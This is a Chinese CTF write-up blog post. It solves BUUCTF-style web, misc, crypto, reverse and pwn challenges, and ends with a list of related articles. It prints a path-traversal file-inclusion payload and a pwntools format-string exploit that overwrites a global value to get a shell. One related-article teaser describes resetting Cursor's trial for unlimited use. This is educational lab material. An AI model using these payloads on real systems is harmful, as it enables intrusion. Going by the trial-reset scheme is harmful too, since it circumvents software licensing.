当前位置: 首页 > article >正文

寒假2.7

题解

web:[HCTF 2018]WarmUp

打开是张表情包

看一下源代码

访问source.php,得到完整代码

代码审计

 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist = ["source"=>"source.php","hint"=>"hint.php"];  //两个白名单文件source.php和hint.phpif (! isset($page) || !is_string($page)) {echo "you can't see it";return false;}if (in_array($page, $whitelist)) {return true;}   //如果字符在白名单内就正常回显,不在白名单内就回显“you can't see it”$_page = mb_substr($page,0,mb_strpos($page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //截取$page中?之前的部分,并检查是否在白名单中,也就是说只要?前的内容在白名单里即可$_page = urldecode($page);$_page = mb_substr($_page,0,mb_strpos($_page . '?', '?'));if (in_array($_page, $whitelist)) {return true;}   //URL解码,防止通过URL编码绕过检查echo "you can't see it";return false;}}if (! empty($_REQUEST['file'])   //以REQUEST方式接收file传递过来的值,由is_string、emmm::checkFile处理之后交给include去处理&& is_string($_REQUEST['file'])   //判断file是不是字符串&& emmm::checkFile($_REQUEST['file'])) {include $_REQUEST['file'];  //有include函数,大概率是一个文件包含漏洞exit;} else {echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";}  
?>   //如果file参数存在且为字符串,并且通过了checkFile函数的检查,则包含该文件,否则就输出表情包

访问一下hint.php看看

 用文件包含的形式访问一下,失败

因为我们当前的source.php一般是在html目录下,往上是www,var,然后到根目录,flag一般就放在根目录下面,这里还有一个hint.php?/或者source.php?/,因此需要返回四层才能到根目录

一般都是/var/www/html/xx.php,文件包含加目录穿越即可

payload:

source.php?file=hint.php?/../../../../ffffllllaaaagggg

misc:BUUCTF-间谍启示录

下载附件,是一个.iso文件,用VMware看一下

看了看文档说明,虽然没有flag但是也算一个提示

这样不好看,foremost分离一下

看了一下,只有rar里的压缩包解压后有内容

运行flag.exe文件,没啥用,想起题目说的被隐藏了,右键选择属性开启隐藏再关闭即可得到机密文件.txt

打开就是flag

crypto:BUUCTF-old-fashion

下载附件,看不懂,直接用quipquip爆破

flag{n1_2hen-d3_hu1-mi-ma_a}

reverse:BUUCTF-Java逆向解密

下载附件,是一个.class文件,用jdkx-gui打开

 代码解释

package defpackage;import java.util.ArrayList;
import java.util.Scanner;/* 从文件 Reverse.class 加载 */
public class Reverse {public static void main(String[] args) {Scanner s = new Scanner(System.in); // 创建一个 Scanner 对象用于读取控制台输入System.out.println("Please input the flag :"); // 提示用户输入String str = s.next(); // 读取用户输入的字符串System.out.println("Your input is :"); // 输出提示信息System.out.println(str); // 显示用户输入的字符串char[] stringArr = str.toCharArray(); // 将字符串转换为字符数组Encrypt(stringArr); // 调用 Encrypt 方法对字符数组进行加密处理}public static void Encrypt(char[] arr) {ArrayList<Integer> Resultlist = new ArrayList<>(); // 创建一个整数列表来存储加密结果for (char c : arr) { // 遍历字符数组int result = (c + '@') ^ 32; // 使用一个简单的公式进行加密//定义的c变量是字符+@,其实就是ascii码相加的数和32进行异或加密Resultlist.add(Integer.valueOf(result)); // 将加密后的结果添加到列表中}int[] KEY = {180, 136, 137, 147, 191, 137, 147, 191, 148, 136, 133, 191, 134, 140, 129, 135, 191, 65}; // 定义一个密钥数组ArrayList<Integer> KEYList = new ArrayList<>(); // 创建一个整数列表来存储密钥值for (int i : KEY) { // 遍历密钥数组KEYList.add(Integer.valueOf(i)); // 将密钥值添加到列表中}System.out.println("Result:"); // 输出提示信息if (Resultlist.equals(KEYList)) { // 比较加密结果和密钥列表是否相同System.out.println("Congratulations!");} else {System.err.println("Error!");}}
}

由上,此题进行的处理大概是先将字符 c 的 ASCII 码值加上字符 @ 的 ASCII 码值(64),然后将结果与 32 进行按位异或运算,存储最终结果

所以我们的脚本就要逆过来,通过减去 @ 的 ASCII 码值并进行按位异或运算,还原出原始字符

python脚本:

strs = [180, 136, 137, 147, 191, 137, 147, 191,148, 136, 133, 191, 134, 140, 129, 135, 191, 65]flag = ""
for i in range(0,len(strs)):flag += chr(strs[i] - ord('@') ^ 0x20)
print("flag{"+flag+"}")

运行即可得到flag

pwn: [第五空间2019 决赛]PWN5

下载附件,exeinfope打开,32位无壳

 ida32打开,查看main函数

代码解释(16~32行)

  fd = open("/dev/urandom", 0);  //打开了一个特殊的设备文件/dev/urandom,该文件提供了高质量的随机数。open函数的第二个参数是模式,通常应该使用O_RDONLY来表示只读模式,但这里直接使用了数字0,这在大多数系统上等同于O_RDONLYread(fd, &dword_804C044, 4u);  //从/dev/urandom读取4个字节的数据到变量dword_804C044中。这个变量似乎是一个全局变量,其地址是硬编码的(例如,在ELF文件中,地址可能是一个固定的地址)printf("your name:");  //输入用户名read(0, buf, 0x63u);  //从标准输入(文件描述符0)读取最多99个字节(0x63是99的十六进制表示)到缓冲区buf中。这里没有检查read的返回值,也没有检查缓冲区溢出的可能性,这是一个潜在的安全风险printf("Hello,");printf(buf);  //输出用户输入的名字。由于之前没有对buf进行任何处理,这里存在一个格式化字符串漏洞,攻击者可以构造输入来利用这个漏洞printf("your passwd:");  //输入密码read(0, nptr, 0xFu);  //从标准输入读取最多15个字节(0xF是15的十六进制表示)到缓冲区nptr中。这里同样没有检查read的返回值,也没有检查缓冲区溢出的可能性if ( atoi(nptr) == dword_804C044 )  //使用atoi函数将nptr指向的字符串转换成整数,并与之前从/dev/urandom读取的随机数进行比较。(因此我们构建攻击载荷的地址即为dword_804C044的地址=0x804C044){puts("ok!!");system("/bin/sh");  //如果输入的整数与随机数相等,则输出"ok!!"并执行/bin/sh,给予攻击者一个shell}else{puts("fail");}result = 0;if ( __readgsdword(0x14u) != v6 )sub_80493D0();return result;
}

 由分析可知,该题存在格式化字符串漏洞,所以需要输入AAA来确定偏移量

AAA,%x,%x,%x,%x,%x,%x,%x,%x,%x,%x

偏移量为10

payload:

payload = p32(0x804C044) + b'%10$n'

其中,b'%10$n'是一个格式化字符串

%n表示将前面已经输出的字符数写入指定地址

10$表示将字符数写入第10个参数指向的地址

%10$n的作用就是将输出的字符数写入0x804c044

exp:

from pwn import* 
io = remote('node5.buuoj.cn',28237)#远程连接服务器端口
io.recvuntil(':')#等待用户输入名字,确保脚本在正确的时刻发送或接收数据
payload = p32(0x804C044)+ b'%10$n'
io.sendline(payload)#发送payload到远程服务器,由于之前调用了recvuntil(':'),这个payload将作为用户的名字发送
io.recvuntil(':')#再次接收数据,直到遇到':',这次是为了同步到密码提示
io.sendline('4')#发送字符串'4'作为密码。这是因为在格式化字符串漏洞利用中,我们已经将dword_804C044的值覆盖为了4(或者至少我们希望是这样),所以输入'4'应该会使atoi(nptr) == dword_804C044的条件成立
io.interactive()#将脚本切换到交互模式,允许用户与远程服务器进行交互。如果之前的利用成功,这将提供一个shell

知识点

1.mb_strpos()函数

 定义:

mb_strpos(string $haystack, string $needle, int $offset = 0, string $encoding = null): int|false

$haystack-->要搜索的字符串

$needle-->要查找的子字符串

$offset-->指定开始搜索的位置,默认为0

$encoding-->指定字符编码。若未指定,则一般是UTF-8

返回值:

如果找到子字符串,返回子字符串在主字符串中首次出现的位置(从0开始计数)

如果没找到,返回false

使用实例:

1.基本用法

2。指定偏移量:从位置5开始搜索,子字符串“世界”首次出现的位置是6

对比:

3.未找到字符串:返回false

4.指定字符编码:在UTF-8编码的字符串“hello world”中,ord首次出现的位置是6

 注意:mb_strpos使用时需区分大小写,若要不区分的话,可以使用mb_stripos

实际应用场景:

1.检查子字符串是否存在

2.截取子字符串

 3.检查文件扩展名

4.提取URL中的路径

2.recvuntil()函数

概念:

作用:

用于从远程服务器接收数据,直到指定的字符串(在今天的pwn题中是':')被接收到为止。这通常用于同步,确保脚本在正确的时刻发送或接收数据。

定义:

注意,三个参数里只有delimiter是必须有的

recvuntil(delimiter, timeout=default, drop=False)

delimiter:指定的分隔符,函数会一直接收数据,直到遇到这个分隔符

timeout:超时时间(秒为单位),如果在指定时间内没有接收到分隔符,函数会抛出异常

drop:True-->返回数据不包含分隔符,False-->返回数据包含分隔符

返回值:返回从目标程序接收到的数据(包括分隔符,除非 drop=True

 

相关文章:

寒假2.7

题解 web&#xff1a;[HCTF 2018]WarmUp 打开是张表情包 看一下源代码 访问source.php&#xff0c;得到完整代码 代码审计 <?phphighlight_file(__FILE__);class emmm{public static function checkFile(&$page){$whitelist ["source">"source.p…...

5.Python字典和元组:字典的增删改查、字典遍历、访问元组、修改元组、集合(set)

1. 字典&#xff08;dict&#xff09; 字典是一个无序的键值对集合&#xff0c;每个键对应一个值。 字典的增、删、改、查&#xff1a; 添加键值对: my_dict {a: 1, b: 2} my_dict[c] 3 # 添加新键c&#xff0c;值为3 print(my_dict) # 输出&#xff1a;{a: 1, b: 2, c: …...

无限使用Cursor

原理&#xff1a;运行程序获得15天的免费试用期&#xff0c;重新运行程序重置试用期&#xff0c;实现无限使用。免费的pro账号&#xff0c;一个月有250的高级模型提问次数。 前提&#xff1a;已安装cursor cursor-vip工具&#xff1a;https://cursor.jeter.eu.org?p95d60efe…...

如何查看Linux ISO镜像中的kernel版本

要查看Linux ISO镜像中的kernel版本&#xff0c;可以使用以下几种方法&#xff1a; 使用uname命令&#xff1a; 将ISO镜像挂载到系统中&#xff0c;然后进入挂载目录。运行以下命令查看内核版本&#xff1a;uname -r这将显示当前运行的内核版本。 查看/proc/version文件&#…...

STM32启动过程概述

1. STM32启动过程概述 STM32 微控制器的启动过程是指从上电或复位开始&#xff0c;到系统开始执行用户程序的整个过程。这个过程包括了硬件初始化、引导加载程序 (Bootloader) 执行、系统时钟配置、外设初始化等步骤。 2. STM32 启动的基本流程 上电或复位 STM32 芯片的启动过…...

unity碰撞的监测和监听

1.创建一个地面 2.去资源商店下载一个火焰素材 3.把procedural fire导入到自己的项目包管理器中 4.给magic fire 0 挂在碰撞组件Rigidbody , Sphere Collider 5.创建脚本test 并挂在magic fire 0 脚本代码 using System.Collections; using System.Collections.Generic; usi…...

企业FTP替代升级,实现传输大文件提升100倍!

随着信息技术的飞速发展&#xff0c;网络安全环境也变得越来越复杂。在这种背景下&#xff0c;传统的FTP&#xff08;文件传输协议&#xff09;已经很难满足现代企业对文件传输的需求了。FTP虽然用起来简单&#xff0c;但它的局限性和安全漏洞让它在面对高效、安全的数据交换时…...

python基础入门:3.3序列通用操作

Python序列操作终极指南&#xff1a;解锁数据处理的核心技能 # 快速导航 sequence_types ["列表", "元组", "字符串", "字节序列"]一、核心操作三位一体 1. 索引与切片体系 # 通用索引规则 data ["A", "B", &…...

Linux | 自动化构建 —— make / Makefile

文章目录 自动化构建-make/Makefile一、make 工具概述二、Makefile 基本结构三、 Makefile和make的基本使用3.1最基本的gcc编译&#xff1a;3.2make执行Makefile文件3.3.PHONY伪目标 四、Makefile拓展4.1直接根据文件名编写Makefile4.2变量的使用4.3Makefile的适度扩展语法&…...

quartus24.1版本子模块因时钟问题无法综合通过,FPGA过OOC问题复盘

因为只负责一个子模块&#xff0c;所以需要单独对该子模块进行综合和过OOC&#xff0c;这时候已经有一些加虚拟pin文件&#xff0c;敲命令让子模块能过OOC的方法。但这个方法的前提是先过综合&#xff0c;然后再敲命令让虚拟管脚命令成功&#xff0c;最终可以过OOC。 今天负责…...

shell脚本控制——处理信号

Linux利用信号与系统中的进程进行通信。你可以通过对脚本进行编程&#xff0c;使其在收到特定信号时执行某些命令&#xff0c;从而控制shell脚本的操作。 1.重温Linux信号 Linux系统和应用程序可以产生超过30个信号。下表列出了在shell脚本编程时会遇到的最常见的Linux系统信…...

【个人开发】macbook m1 Lora微调qwen大模型

本项目参考网上各类教程整理而成&#xff0c;为个人学习记录。 项目github源码地址&#xff1a;Lora微调大模型 项目中微调模型为&#xff1a;qwen/Qwen1.5-4B-Chat。 去年新发布的Qwen/Qwen2.5-3B-Instruct同样也适用。 微调步骤 step0: 环境准备 conda create --name fin…...

电脑开机提示按f1原因分析及终极解决方法来了

经常有网友问到一个问题&#xff0c;我电脑开机后提示按f1怎么解决&#xff1f;不管理是台式电脑&#xff0c;还是笔记本&#xff0c;都有可能会遇到开机需要按F1&#xff0c;才能进入系统的问题&#xff0c;引起这个问题的原因比较多&#xff0c;今天小编在这里给大家列举了比…...

2025华为OD机试真题最新题库 (B+C+D+E卷) + 在线OJ在线刷题使用说明(C++、Java、Python合集)(正在更新E卷,目前已收录581道)

2024年8月份&#xff0c;华为已经开始使用E卷题库&#xff0c;题目和往期一样&#xff0c;旧题加新题的组合&#xff0c;有题目第一时间更新&#xff0c;大家可以跟着继续学习&#xff0c;目前使用复用题较多&#xff0c;可在OJ上直接找到对应的E卷学习&#xff0c;可以放心学习…...

《手札·避坑篇》2025年传统制造业企业数字化转型指南

一、引言 在数字化浪潮的推动下,传统制造业企业正加速向智能化、数字化转型。开源软件技术与制造MES(制造执行系统)产品的结合,为企业提供了高效、灵活且低成本的转型路径。本指南旨在为传统制造业企业的信息化负责人提供一套完整的数字化转型方案,助力企业实现高效、智能…...

Qt+海康虚拟相机的调试

做机器视觉项目的时候&#xff0c;在没有相机或需要把现场采集的图片在本地跑一下做测试时&#xff0c;可以使用海康的虚拟相机调试。以下是设置步骤&#xff1a; 1.安装好海康MVS软件&#xff0c;在菜单栏->工具选择虚拟相机工具&#xff0c;如下图&#xff1a; 2.打开虚拟…...

《Origin画百图》之边际分布曲线图

《Origin画百图》第六集——边际分布曲线图 入门操作可看《30秒&#xff0c;带你入门Origin》 边际分布曲线图&#xff0c;其中包含散点图形&#xff0c;而在图的边际有着分布曲线图。在比较数据以查看多个变量之间是否存在关系时非常有用。 1.数据准备&#xff1a;为多列XY数…...

如何提升自己的能力

提高自身能力是一个长期且综合的过程&#xff0c;需要从多个方面进行努力和持续的学习&#xff0c;以下是一些有效的方法&#xff1a; 明确目标与规划 确定目标&#xff1a;首先要明确自己想要提高哪些方面的能力&#xff0c;例如沟通能力、领导力、专业技能等&#xff0c;并根…...

【ORACLE】这个‘‘和null不等价的场景,deepseek你怎么看?

【ORACLE】一处’和null不等价的场景–to_char(number,varchar2) 背景 最近在做一个国产数据库替代项目&#xff0c;要求将ORACLE迁移到一个openGauss系数据库&#xff0c;迁移后&#xff0c;执行一个存储过程时&#xff0c;发现国产库的执行结果和ORACLE不一致&#xff0c; …...

安全知识之网络扫描器概念与相关技术

网络安全扫描器简介 迅速发展的Internet给人们的生活、工作带来了巨大的方便&#xff0c;但同时&#xff0c;也带来了一些不容忽视的问题&#xff0c;网络信息的安全保密问题就是其中之一。 网络的开放性以及黑客的攻击是造成网络不安全的主要原因。科学家在设计Internet之初就…...

Vim跳转文件及文件行结束符EOL

跳转文件 gf 从当前窗口打开那个文件的内容&#xff0c;操作方式&#xff1a;让光标停在文件名上&#xff0c;输入gf。 Ctrlo 从打开的文件返回之前的窗口 Ctrlwf 可以在分割的窗口打开跳转的文件&#xff0c;不过在我的实验不是次次都成功。 统一行尾格式 文本文件里存放的…...

Termux安装ssh实现电脑ssh

Termux下载 点击下载 在 Termux 中安装并使用 SSH&#xff0c;按照以下步骤操作&#xff1a; 1. 更新软件包列表 pkg update && pkg upgrade2. 安装 OpenSSH pkg install openssh3. 设置 SSH 密码&#xff08;必须&#xff0c;否则无法使用 SSH 服务器&#xff09…...

DeepSeek大模型介绍、本地化部署与使用!【AI大模型】

一、DeepSeek 是什么&#xff1f; 1.技术定位 专注大模型与AGI研究&#xff0c;开发高性能基座模型&#xff08;如 DeepSeek LLM 系列&#xff09;&#xff0c;支持长文本、多模态、代码生成等复杂任务。 提供开源模型&#xff08;如 DeepSeek-MoE、DeepSeek-V2&#xff09;…...

Axios 的原理

&#x1f90d; 前端开发工程师、技术日更博主、已过CET6 &#x1f368; 阿珊和她的猫_CSDN博客专家、23年度博客之星前端领域TOP1 &#x1f560; 牛客高级专题作者、打造专栏《前端面试必备》 、《2024面试高频手撕题》 &#x1f35a; 蓝桥云课签约作者、上架课程《Vue.js 和 E…...

Gitlab中如何进行仓库迁移

需求&#xff1a;之前有一个自己维护的新仓库A&#xff0c;现在需要将这个仓库提交并覆盖另一个旧的仓库B&#xff0c;需要保留A中所有的commit信息。 1.方法一&#xff1a;将原有仓库A导出后再导入到新的仓库B中 适用场景&#xff1a;新的仓库B是一个待建仓库&#xff0c;相当…...

Android的MQTT客户端实现

在 Android 平台上实现 MQTT 客户端的完整技术方案&#xff0c;涵盖基础实现、安全连接、性能优化和最佳实践&#xff1a; 一、技术选型与依赖配置 推荐库 Eclipse Paho Android Service&#xff08;官方维护&#xff0c;支持后台运行&#xff09; gradle 复制 // build.gradl…...

Centos挂载镜像制作本地yum源,并补装图形界面

内网环境centos7.9安装图形页面内网环境制作本地yum源 上传镜像到服务器目录 创建目录并挂载镜像 #创建目录 cd /mnt/ mkdir iso#挂载 mount -o loop ./CentOS-7-x86_64-DVD-2009.iso ./iso #前面镜像所在目录&#xff0c;后面所挂载得目录#检查 [rootlocalhost mnt]# df -h…...

Thread类以及常见方法

Thread类是JVM用来管理线程的一个类&#xff0c;每个线程都有一个唯一的Thread对象与之关联。 多一个线程&#xff0c;就多一条执行流&#xff0c;每个执行流也要一个对象来描述&#xff0c;而Thread类的对象就是用来描述一个线程的执行流&#xff0c;JVM 会将这些 Thread 对象…...

【蓝桥杯—单片机】第十一届省赛真题代码题解题笔记 | 省赛 | 真题 | 代码题 | 刷题 | 笔记

第十一届省赛真题代码部分 前言赛题代码思路笔记竞赛板配置内部振荡器频率设定键盘工作模式跳线扩展方式跳线 建立模板明确设计要求和初始状态显示功能部分数据界面第一部分第二部分第三部分调试时发现的问题 参数设置界面第一部分第二部分和第四部分第三部分和第五部分 按键功…...

【原创】Android Studio Ladybug 中Gradle配置

使用Android Studio创建项目后&#xff0c;由于需要下载的一下文件在国外&#xff0c;加上网速的问题&#xff0c;以及防火墙的问题&#xff0c;不少文件难以下载。常常导致项目创建后&#xff0c;要等很长时间&#xff0c;各种折腾&#xff0c;结果一个demo都跑不起来。 经过…...